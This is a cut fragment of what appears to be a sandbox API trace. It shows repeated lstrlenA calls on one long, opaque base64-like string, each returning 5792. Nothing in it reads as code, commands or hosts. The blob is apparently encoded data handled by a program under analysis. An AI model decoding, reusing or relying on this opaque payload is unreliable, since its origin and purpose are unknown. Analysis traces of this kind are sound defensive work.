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") returned 5792 [0128.365] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.366] lstrlenA 